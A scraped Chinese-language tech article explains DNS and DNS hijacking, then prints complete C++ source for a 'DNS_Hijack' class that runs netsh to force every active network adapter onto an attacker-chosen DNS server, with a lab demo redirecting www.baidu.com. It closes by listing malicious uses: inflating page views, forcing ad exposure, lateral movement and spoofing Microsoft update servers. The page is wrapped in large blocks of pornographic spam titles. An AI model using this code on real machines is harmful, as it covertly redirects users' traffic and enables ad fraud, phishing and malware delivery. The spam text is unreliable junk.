精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

為什么總能看到廣告彈窗?沒錯,就是DNS的問題

網絡 通信技術
每個IP地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數點隔開。有了主機名,就不要死記硬背每臺IP設備的IP地址,只要記住相對直觀有意義的主機名就行了。這就是DNS協議的功能。

什么是DNS?

每個IP地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數點隔開。有了主機名,就不要死記硬背每臺IP設備的IP地址,只要記住相對直觀有意義的主機名就行了。這就是DNS協議的功能。

主機名到IP地址的映射有兩種方式:

1)靜態映射,每臺設備上都配置主機到IP地址的映射,各設備獨立維護自己的映射表,而且只供本設備使用;

2)動態映射,建立一套域名解析系統(DNS),只在專門的DNS服務器上配置主機到IP地址的映射,網絡上需要使用主機名通信的設備,首先需要到DNS服務器查詢主機所對應的IP地址。

通過主機名,最終得到該主機名對應的IP地址的過程叫做域名解析(或主機名解析)。在解析域名時,可以首先采用靜態域名解析的方法,如果靜態域名解析不成功,再采用動態域名解析的方法。可以將一些常用的域名放入靜態域名解析表中,這樣可以大大提高域名解析效率

什么是DNS劫持?

DNS劫持又稱域名劫持,是指在劫持的網絡范圍內攔截域名解析的請求,分析請求的域名,把審查范圍以外的請求放行,否則返回假的IP地址或者什么都不做使請求失去響應,其效果就是對特定的網絡不能訪問或訪問的是假網址。

DNS(域名系統)的作用是把網絡地址(域名,以一個字符串的形式)對應到真實的計算機能夠識別的網絡地址(IP地址),以便計算機能夠進一步通信,傳遞網址和內容等。由于域名劫持往往只能在特定的被劫持的網絡范圍內進行,所以在此范圍外的域名服務器(DNS)能夠返回正常的IP地址,高級用戶可以在網絡設置把DNS指向這些正常的域名服務器以實現對網址的正常訪問。所以域名劫持通常相伴的措施——封鎖正常DNS的IP。

程序所需頭文件和命名空間: 

  1. #include <iostream> 
  2. #include <string> 
  3. #include <windows.h> 
  4. #include <stdlib.h> 
  5. #include <list> 
  6. #include <io.h> 
  7. using namespace std; 

獲取本機可用網卡: 

  1. void Get_using_interface() 
  2.       system("netsh interface show interface > interface_info.txt"); 
  3. ​ 
  4.       FILE* fp = fopen("interface_info.txt""rb"); 
  5.       const int file_size = filelength(fileno(fp)); 
  6.       char* buff = (char*)malloc(sizeof(char)*file_size); 
  7.       if (fp) { 
  8.         fread(buff, 1, file_size, fp); 
  9.         str = buff; 
  10.         free(buff); 
  11.         replaceA_to_B(str, "-------------------------------------------------------------------------\r\n"""); 
  12.         Split(str, "\r\n", interface_using); 
  13.         Spilt_space(interface_using); 
  14.       } 
  15.     } 
  16. ​ 
  17. void Spilt_space(list<string> list_str) { 
  18.       for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) { 
  19.         cout << *itor << endl; 
  20.         string::size_type first_variable = (*itor).find("已啟用"); 
  21.         string::size_type second_variable = (*itor).find("已連接"); 
  22.         string::size_type third_variable = (*itor).find("專用"); 
  23.         if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) { 
  24.           string info = *itor; 
  25.           last_get_interface_using.push_back(info.substr(55,info.length())); 
  26.         } 
  27.       } 
  28.     } 
  29. ​ 
  30. void replaceA_to_B(std::string& S, const std::string A, const std::string B) { 
  31.       std::size_t found = S.find(A); 
  32.       while (std::string::npos != found) { 
  33.         S.replace(found, A.length(), B); 
  34.         found = S.find(A, found + 1); 
  35. ​ 
  36. void Split(const string& src, const string& separator, list<string>& dest) 
  37.       string str = src; 
  38.       string substring
  39.       string::size_type start = 0, index
  40.       dest.clear(); 
  41.       index = str.find_first_of(separator, start); 
  42.       do 
  43.       { 
  44.         if (index != string::npos) 
  45.         { 
  46.           substring = str.substr(start, index - start); 
  47.           dest.push_back(substring); 
  48.           start = index + separator.size(); 
  49.           index = str.find(separator, start); 
  50.           if (start == string::npos) break; 
  51.         } 
  52.       } while (index != string::npos); 
  53. ​ 
  54.       //the last part 
  55.       substring = str.substr(start); 
  56.       dest.push_back(substring); 
  57.     } 

構造函數實現: 

  1. DNS_Hijack(string DNS="192.168.1.233"
  2.     { 
  3.       Get_using_interface(); 
  4.       for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++) 
  5.       { 
  6.         string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS; 
  7.         cout << str; 
  8.         system(str.c_str()); 
  9.       } 
  10.     } 

下面我們先直接給出完整代碼方便用戶直接運行查看效果。(記得修改ip地址)​ 

  1. ​#include <iostream> 
  2. #include <string> 
  3. #include <windows.h> 
  4. #include <stdlib.h> 
  5. #include <list> 
  6. #include <io.h> 
  7. using namespace std; 
  8. ​ 
  9. class DNS_Hijack { 
  10.   private: 
  11.     list<string> interface_using;          //獲取本地可用網卡 
  12.     list<string> last_get_interface_using; 
  13.   private:   
  14.     string str;                //存儲文件讀取后的內容 
  15.     string DNS; 
  16. ​ 
  17.   private: 
  18.     void Get_using_interface() 
  19.       system("netsh interface show interface > interface_info.txt"); 
  20. ​ 
  21.       FILE* fp = fopen("interface_info.txt""rb"); 
  22.       const int file_size = filelength(fileno(fp)); 
  23.       char* buff = (char*)malloc(sizeof(char)*file_size); 
  24.       if (fp) { 
  25.         fread(buff, 1, file_size, fp); 
  26.         str = buff; 
  27.         free(buff); 
  28.         replaceA_to_B(str, "-------------------------------------------------------------------------\r\n"""); 
  29.         Split(str, "\r\n", interface_using); 
  30.         Spilt_space(interface_using); 
  31.       } 
  32.     } 
  33. ​ 
  34.   private: 
  35.     void Spilt_space(list<string> list_str) { 
  36.       for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) { 
  37.         cout << *itor << endl; 
  38.         string::size_type first_variable = (*itor).find("已啟用"); 
  39.         string::size_type second_variable = (*itor).find("已連接"); 
  40.         string::size_type third_variable = (*itor).find("專用"); 
  41.         if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) { 
  42.           string info = *itor; 
  43.           last_get_interface_using.push_back(info.substr(55,info.length())); 
  44.         } 
  45.       } 
  46. ​ 
  47.     } 
  48. ​ 
  49.   private: 
  50.     void replaceA_to_B(std::string& S, const std::string A, const std::string B) { 
  51.       std::size_t found = S.find(A); 
  52.       while (std::string::npos != found) { 
  53.         S.replace(found, A.length(), B); 
  54.         found = S.find(A, found + 1); 
  55.       } 
  56.   } 
  57. ​ 
  58.   private: 
  59.     void Split(const string& src, const string& separator, list<string>& dest) 
  60.       string str = src; 
  61.       string substring
  62.       string::size_type start = 0, index
  63.       dest.clear(); 
  64.       index = str.find_first_of(separator, start); 
  65.       do 
  66.       { 
  67.         if (index != string::npos) 
  68.         { 
  69.           substring = str.substr(start, index - start); 
  70.           dest.push_back(substring); 
  71.           start = index + separator.size(); 
  72.           index = str.find(separator, start); 
  73.           if (start == string::npos) break; 
  74.         } 
  75.       } while (index != string::npos); 
  76. ​ 
  77.       //the last part 
  78.       substring = str.substr(start); 
  79.       dest.push_back(substring); 
  80.     } 
  81. ​ 
  82.   public
  83.     DNS_Hijack(string DNS="192.168.1.233"
  84.     { 
  85.       Get_using_interface(); 
  86.       for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++) 
  87.       { 
  88.         string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS; 
  89.         cout << str; 
  90.         system(str.c_str()); 
  91.       } 
  92.     } 
  93. ​ 
  94. }; 
  95. ​ 
  96. int main() 
  97.   DNS_Hijack* one = new DNS_Hijack("192.168.1.20"); 
  98.   system("pause"); 
  99.   return 0; 

現在我在虛擬機win2003,ip地址為:192.168.1.20中搭建了一臺DNS服務器,并將所有域名為www.baidu.com的請求都解析到我內網中的一臺搭建了Apache服務器上。

這個時候我對www.baidu.com的請求就會通過我內網中的DNS服務器解析成我Apache服務器的地址。

也就是說真正的百度的ip我們已經無法得到,通過nslookup也可以看出,DNS被劫持。

實驗效果: 

為什么總能看到廣告彈窗?沒錯,就是DNS的問題

部分用途:

  • 我們可以通過這種方法讓用戶訪問特定的URL從而實現惡意刷取網站PE量的效果。
  • 如果網站接入了廣告聯盟,可以通過這種方法來讓用戶直接看到網站中的廣告。
  • 營銷,推廣等。
  • 可以用于局域網橫向滲透、提權,在APT攻擊中可以有部分體現。(偽造微軟的更新服務器域名。) 

 

責任編輯:未麗燕 來源: 今日頭條
相關推薦

2024-12-13 16:37:56

SpringBootJava

2021-04-28 22:42:36

SaaS軟件技術

2014-01-23 10:07:31

移動廣告廣告商banner

2017-05-31 15:06:30

2021-02-04 10:12:50

程序員SQLIBM

2020-09-24 06:41:33

通信IT行業

2021-12-28 16:54:03

2022-06-06 18:25:21

數據泄露互聯網

2015-08-21 09:18:17

大數據技術解決問題

2014-09-17 14:54:06

2022-12-13 07:30:50

APIweb前端

2023-08-13 19:45:12

DNS

2022-02-10 20:26:06

虛擬元宇宙網絡

2020-11-18 13:24:02

廣告彈窗網信互聯網

2020-07-17 19:31:19

PythonR編程

2019-07-23 10:40:58

云計算微服務IT

2009-12-14 18:27:21

Linux操作系統

2023-08-29 10:09:11

2021-08-13 22:26:40

Windows 10Windows微軟

2019-09-26 09:00:31

Java編程語言
點贊
收藏

51CTO技術棧公眾號

国产一区二区h| 99精品国产一区二区三区2021| 久久综合九色欧美综合狠狠| 欧洲成人免费aa| 免费看污片网站| 快播电影网址老女人久久| 中文子幕无线码一区tr| 成人免费视频97| 久久久全国免费视频| 欧美a级网站| 午夜精品久久久久久久| 日韩欧美激情一区二区| 国产口爆吞精一区二区| 黄色在线一区| 精品国产乱码久久久久久久| 青青艹视频在线| www.黄在线观看| 国产成人日日夜夜| 欧美专区中文字幕| www.99re6| 精品自拍偷拍| 欧美性一区二区| www国产免费| 国产在线小视频| 国产成人免费视频网站高清观看视频| 97热在线精品视频在线观看| www.99热| 国产福利一区二区精品秒拍| 欧美亚洲一区二区在线| 黄色网在线视频| 精品视频一二三| 国产成人免费在线观看不卡| 国内精品久久影院| 精品手机在线视频| 欧美1区二区| 欧美一区中文字幕| 无码人妻h动漫| 9191在线播放| 国产精品久99| 免费试看一区| 亚洲美女性生活| 久久精品999| 国产激情视频一区| 日本特黄特色aaa大片免费| 日韩欧美不卡| 亚洲毛片在线观看.| 精品人妻一区二区三区免费| 日韩av首页| 一区二区三区中文字幕精品精品| 日韩不卡av| 五月婷婷丁香网| 国产高清一区日本| 成人免费黄色网| 最新中文字幕免费| 亚洲中字在线| 欧美激情手机在线视频 | 怡红院红怡院欧美aⅴ怡春院| 成人激情文学综合网| 成人在线视频网站| 中文字幕一区二区人妻| 欧美日韩调教| 九九热精品视频| jizz18女人高潮| 国产一区二区观看| 亚洲欧美激情在线视频| 国产亚洲色婷婷久久99精品91| 警花av一区二区三区| 欧美日韩美女一区二区| 天美星空大象mv在线观看视频| 欧美gay视频| 一本久久精品一区二区| 日韩精品视频久久| 亚洲欧洲自拍| 欧美香蕉大胸在线视频观看| 怡红院av亚洲一区二区三区h| аⅴ资源天堂资源库在线| 一区av在线播放| 2019日韩中文字幕mv| av免费在线视| 欧美视频第一页| 国内外免费激情视频| av资源中文在线| 午夜精品久久久久久久99樱桃| 免费毛片网站在线观看| av中文字幕在线观看| 亚洲精品五月天| av在线免费观看国产| 日韩影视在线| 精品高清美女精品国产区| av免费观看网| 国产精品美女午夜爽爽| 欧美美女直播网站| 日本网站在线看| 成人自拍在线| 精品视频www| 五月婷婷婷婷婷| 欧美日韩视频| 欧美亚洲日本网站| 在线观看一二三区| 国产一区二区不卡在线| 国产偷国产偷亚洲高清97cao| 视频二区在线| 91浏览器在线视频| 亚洲精美视频| 黄色在线观看视频网站| 精品色蜜蜜精品视频在线观看| 国产三级三级三级看三级| 欧美综合社区国产| 精品欧美一区二区久久| 久久精品女同亚洲女同13| 国产一区三区在线播放| 欧美成人激情在线| 天天干天天干天天| 极品少妇一区二区三区精品视频| 国产精品成人观看视频免费| 性感美女视频一二三| wwwwxxxxx欧美| 中文字幕乱码一区二区三区| av中文字幕电影在线看| 在线观看日韩国产| 亚洲最大视频网| 欧美**字幕| 免费91麻豆精品国产自产在线观看 | 亚洲精品无人区| 婷婷丁香在线| 欧美日韩在线直播| 欧美 变态 另类 人妖| 日本久久综合| 97视频在线免费观看| 91丨porny丨在线中文 | 91丨九色丨国产在线| 人妻夜夜爽天天爽| ●精品国产综合乱码久久久久| 成人在线免费在线观看| 国产精品三p一区二区| 日韩视频永久免费观看| 怡红院av久久久久久久| 国产91精品一区二区| 一级日韩一区在线观看| 免费看av不卡| 亚洲国产中文字幕久久网| 中文字幕一区二区人妻在线不卡 | 中文字幕色一区二区| 国产不卡网站| 亚洲a级精品| 欧美日韩精品一区视频| jizz欧美性11| 高清日韩中文字幕| 久久精品电影网| 欧美三级韩国三级日本三斤在线观看 | 四虎国产成人精品免费一女五男| 99精品免费| 999国内精品视频在线| 精品美女在线观看视频在线观看| 在线观看中文字幕不卡| 97人妻精品一区二区三区免| 亚洲性图久久| 国产麻豆日韩| 亚洲电影视频在线| 日韩精品专区在线影院重磅| 精品国产国产综合精品| 久久国产乱子精品免费女| 日本一区二区三区四区高清视频 | 曰本一区二区三区视频| 久久91精品国产| 99产精品成人啪免费网站| 日韩一区有码在线| 国产福利精品一区二区三区| 久久精品国产www456c0m| 国产精品日本精品| 成人18在线| 欧美性猛片aaaaaaa做受| 精品国产成人亚洲午夜福利| 水野朝阳av一区二区三区| 久久久久久欧美精品色一二三四 | 日韩一区有码在线| 一级黄色免费毛片| 影视一区二区| 不卡一区二区三区视频| 超级碰碰不卡在线视频| 亚洲国产成人精品久久| 6080午夜伦理| 日本一区二区综合亚洲| 日韩 国产 一区| 亚洲人成久久| 一区二区三区四区久久| 老牛精品亚洲成av人片| 日韩免费黄色av| av免费在线免费| 亚洲精品综合精品自拍| 97超碰中文字幕| 欧美日韩亚洲91| 精品无码久久久久成人漫画| 91热门视频在线观看| 中文字幕精品一区二区三区在线| 国产一区日韩欧美| 天天爽天天狠久久久| 97久久综合精品久久久综合| 97精品一区二区三区| 黄网页在线观看| 亚洲精品一区二区久| www.国产精品视频| 欧美在线观看视频一区二区三区| 麻豆视频在线观看| 中文字幕成人在线观看| 99免费观看视频| 九色综合国产一区二区三区| 国产精品秘入口18禁麻豆免会员| 五月激情综合| 日本一区二区精品视频| 国产丝袜一区| 91国产在线播放| 国产精品蜜月aⅴ在线| 欧美一区亚洲一区| 丝袜在线视频| 久久精品国产91精品亚洲| 国产中文字幕在线播放| 亚洲国产精品大全| 国产黄色免费大片| 欧美剧情片在线观看| 中文字字幕在线中文| 亚洲国产精品人人做人人爽| 神马午夜精品91| 国产精品蜜臀在线观看| 性高潮久久久久久久| 99麻豆久久久国产精品免费| 最好看的中文字幕| 国产一区福利在线| wwwwwxxxx日本| 青草国产精品久久久久久| 一本久道综合色婷婷五月| 在线视频日韩| 浮妇高潮喷白浆视频| 99国内精品| 欧美精品一区二区三区三州| 国产精品jizz在线观看美国| ijzzijzzij亚洲大全| 天天色天天射综合网| 最新国产精品久久| 国产精品久久久久久| 新呦u视频一区二区| 精品久久久久久久久久久下田| 久久综合狠狠综合久久综青草| 欧美激情极品| 久久er99热精品一区二区三区| 乱中年女人伦av一区二区| 国产日韩欧美一区二区| 伦理一区二区三区| 蜜桃狠狠色伊人亚洲综合网站| 欧美日韩破处| 久久久久久久久一区二区| 久久不见久久见免费视频7| 久久精品国产精品青草色艺| 亚洲香蕉视频| 视频一区在线免费观看| 999精品在线| www.黄色网址.com| 欧美一区91| 国产真人做爰毛片视频直播| 99在线精品视频在线观看| av黄色在线网站| 手机精品视频在线观看| 亚洲黄色小视频在线观看| 国内精品伊人久久久久影院对白| 亚洲天堂一区二区在线观看| 国产999精品久久| 中文字幕一区三区久久女搜查官| 久久一区二区三区国产精品| 欧美波霸videosex极品| 国产精品黄色在线观看| 九九热精彩视频| 欧美性极品少妇精品网站| jizz国产在线| 日韩亚洲欧美成人一区| 人妻与黑人一区二区三区| 亚洲欧美综合精品久久成人| √天堂资源地址在线官网| 欧美另类高清videos| 在线观看网站免费入口在线观看国内| 国产精品99导航| 麻豆一二三区精品蜜桃| 免费亚洲精品视频| 亚洲精品一区二区妖精| 一女被多男玩喷潮视频| 精品一区二区在线免费观看| 亚洲精品乱码久久久久久蜜桃图片| 国产视频一区二区在线观看| 男人的天堂久久久| 一本色道久久加勒比精品| 国产色视频在线| 亚洲欧美国内爽妇网| 伊人春色在线观看| 国产精品成av人在线视午夜片| 国产午夜亚洲精品一级在线| 蜜桃臀一区二区三区| 久久久久久久久久久久久久久久久久 | 日本欧美加勒比视频| 激情综合激情五月| 国产精品全国免费观看高清 | 精品美女在线播放| 草草影院在线观看| 国自产精品手机在线观看视频| 国产亚洲欧美日韩精品一区二区三区 | 樱花草国产18久久久久| 中文字幕一区二区人妻电影| 91精品国产91久久久久久一区二区| 日韩精品系列| 欧美高清性猛交| 久久婷婷五月综合色丁香| 国内精品久久国产| 欧美国产91| 香蕉视频999| 国产日韩欧美精品一区| 国产无码精品一区二区| 91精品国产欧美一区二区成人| 成人免费在线电影| 欧美在线不卡区| jizz性欧美2| 欧美 亚洲 视频| 精品一区二区三区免费毛片爱| 亚洲一区二区三区日韩| 欧美日韩国产专区| 欧洲av在线播放| 欧美黑人xxx| 欧州一区二区三区| 青青草影院在线观看| 精品一区中文字幕| 天堂а√在线中文在线鲁大师| 色综合天天性综合| 五月天激情开心网| 午夜精品福利电影| 狠狠一区二区三区| 成人午夜精品久久久久久久蜜臀| 国产精品夜夜嗨| 国产这里有精品| 日韩亚洲欧美中文三级| 肉肉视频在线观看| 国产精品v欧美精品v日韩| 欧美视频四区| 国产精品无码自拍| 亚洲高清不卡在线观看| 乱精品一区字幕二区| 久久免费福利视频| 激情小说一区| 亚洲国产精品久久久久爰色欲| 久久影院午夜论| 蜜臀尤物一区二区三区直播| 在线亚洲男人天堂| 青青在线精品| 午夜探花在线观看| 国产黄色91视频| 亚欧洲精品在线视频| 亚洲精品自拍第一页| 奇米777日韩| 视频一区二区在线| 麻豆国产一区二区| 一区二区在线观看免费视频| 欧美成人激情免费网| av中文字幕在线观看第一页 | 日本在线高清视频一区| 玖玖精品视频| www.av免费| 精品噜噜噜噜久久久久久久久试看| 国精产品一区一区三区mba下载| 国产精品三区四区| 性感少妇一区| 成年人免费视频播放| 日韩免费电影网站| www在线看| 日韩免费av电影| 国产一区二区不卡在线| 日韩熟女精品一区二区三区| 亚洲天堂日韩电影| 蜜桃精品视频| 男人靠女人免费视频网站| 国产精品国产a| 日本激情一区二区三区| 国产成人欧美在线观看| 亚洲国产精品91| 免费在线观看成年人视频| 欧美亚洲一区二区三区四区| 日韩少妇视频| 日韩av免费电影| 成人美女视频在线看| 免费一级a毛片| 欧美高清视频在线观看| 精品国产一区一区二区三亚瑟| 久久久久久久高清| 一本到高清视频免费精品| 麻豆电影在线播放| 久久久久久欧美精品色一二三四| 久久9热精品视频| 久久国产黄色片| 欧美日本高清视频| 成人网18免费网站| 日本性生活一级片| 欧美精品久久久久久久多人混战 | 男人天堂资源网| 亚洲第一综合天堂另类专| 久久免费影院|